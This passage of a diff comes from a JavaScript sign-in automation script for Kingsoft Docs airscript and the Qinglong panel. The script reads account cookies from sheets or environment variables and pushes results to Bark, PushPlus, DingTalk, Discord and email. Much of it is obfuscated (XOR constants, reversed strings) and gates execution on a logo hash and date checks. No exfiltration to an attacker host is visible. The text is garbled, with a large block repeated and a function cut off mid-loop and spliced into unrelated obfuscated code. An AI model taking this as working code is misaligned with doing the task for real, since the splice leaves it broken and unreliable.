\uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否安装好了对应依赖") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +main() // 入口 + +function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +} + + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + 